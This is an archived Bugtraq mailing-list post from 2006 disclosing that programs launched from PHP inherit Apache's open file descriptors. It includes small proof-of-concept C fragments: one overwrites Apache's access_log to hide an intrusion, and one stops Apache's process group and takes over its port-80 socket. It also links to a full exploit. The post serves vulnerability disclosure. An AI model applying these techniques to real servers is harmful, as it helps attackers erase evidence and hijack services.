Home page logo

bugtraq logo Bugtraq mailing list archives

Re: PHP "exec", "system", "popen" (+small POC)
From: Bernhard Mueller <research () sec-consult com>
Date: Fri, 20 Oct 2006 11:08:22 +0200


This is not a new problem (see http://www.securityfocus.com/bid/9302).
However, we also "discovered" this a few weeks ago and contacted Apache
and PHP about it. According to Stefan Esser (PHP) its due to Apache's
failure to open file descriptors with the close on exec flag. However,
according to Joe Orton (Apache) won't change this flag because it would
make no difference to Apache's security model ("anything you can do in a
sh script spawned by a PHP script you can do directly in the PHP script
anyway"). The bottom line is that this will also work in future, because
neither the Apache team nor the PHP team will "fix" the issue.
Personally, I'd think that a combination of both measures (close on exec
flag and explicitly closing specific file descriptors by PHP) would make
the most sense.
BTW, with this flaw an attacker can also conveniently change / overwrite
Apache's log files and therefore hide his attack after owning a
PHP-based web application. Here's a quick POC as I haven't seen one
anywhere yet :)


# apache's access_log can be overwritten with arbitrary content
# from PHP called executables.
# POC by frauk\x41ser && sk0L / SEC Consult 2006

#include <unistd.h>
#include <fcntl.h>

#define LOGFD 7

void main(){
        fcntl(LOGFD, F_SETFL, O_WRONLY); // change mode from append to write
        lseek(LOGFD, 0, SEEK_SET); // reposition to start of file



Дмитрий Borgir wrote:
Vulnerable product:
PHP ver. 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5.
Other PHP versions are very likely to have this problem.

The problem is in "exec", "system", "popen" (and similar) PHP functions.
In fact, PHP doesn't sanitize opened file descriptors before executing
a program.

These PHP functions use popen() C function to spawn a new process.
The call of popen() is equivalent to the combination of
- pipe (to create the pipe),
- fork (to create the subprocess),
- dup2 (to force the subprocess to use the pipe as its standard input
or output channel),
- exec (to execute the new program).
These functions keep file descriptors of the parent process opened.
So, when we run a new program via, e.g. "exec" PHP function, this
program will inherit
all opened file descriptors of its parent. In our case it is Apache
(There is FD_CLOEXEC flag for file descriptors, which specifies that
the file descriptor
should be closed when an exec function is invoked. But Apache doesn't
set this flag on it

This bug makes PHP File Include  vulnerabilities more dangerous.
If the server uses mod_php and we are free to execute shell commands
via system(),
then we can easily manipulate inherited file descriptors. E.g. to
listen and accept
connections on 80 port (opened by Apache, and transmitted to us by PHP)
or write
anything to its accesslog or errorlog.

Reproduce code:
Some steps to reproduce a bug.
First. Simple program to wait :)

# cat test1.c
int main() {
setsid( );
sleep( 10000 );

#gcc -o test1 test1.c

Ok. Let's make a php script:
#cat a.php
<?php system( "./test1" ) ?>


Good. Now see opened file descriptors:

#lsof | grep test1
test1 cwd DIR /usr/local/apache2/htdocs
test1 rtd DIR /
test1 txt REG /var/www/html/test1
test1 mem REG /lib/tls/libc- 2.3.5.so
test1 mem REG /lib/ld-2.3.5.so
test1 mem REG [stack] (stat: No such file or directory)
test1 0r CHR /dev/null
test1 1w FIFO pipe
test1 2w REG /usr/local/apache2/logs/error_log
test1 3u IPv4 *:http (LISTEN)
test1 4r FIFO pipe
test1 5w FIFO pipe
test1 6w REG /usr/local/apache2/logs/error_log
test1 7w REG /usr/local/apache2/logs/access_log
test1 8r 0000 unknown inode type
test1 9u IPv4> (CLOSE_WAIT)

So, our test1 has Apache's handles. Now we can do something like that
(inside test1.c)

int p = getsid( 0 ); // get current Process Group Id
setsid( ); // become session leader
kill( -p, SIGSTOP ); // good night, Apache Process Group :)

And after that:

for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket
if ( listen (sock, 10) == 0 ) break;
Full exploit is available on http://hackerdom.ru/~dimmo/phpexpl.c


I described the bug on "bugs.php.net" on 21 Sep, but there is no
feedback from the PHP Group.


archange1, jackrabbit, kost, VenRock, znick and others :)

Special thanks to ilya for help.


DI (FH) Bernhard Mueller
IT Security Consultant

SEC-Consult Unternehmensberatung GmbH

A-1080 Vienna, Blindengasse 3
phone   +43 1 8903043 0
fax     +43 1 8903043 15
mobile  +43 676 840301 718
email   b.mueller () sec-consult com

Advisor for your information security.

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]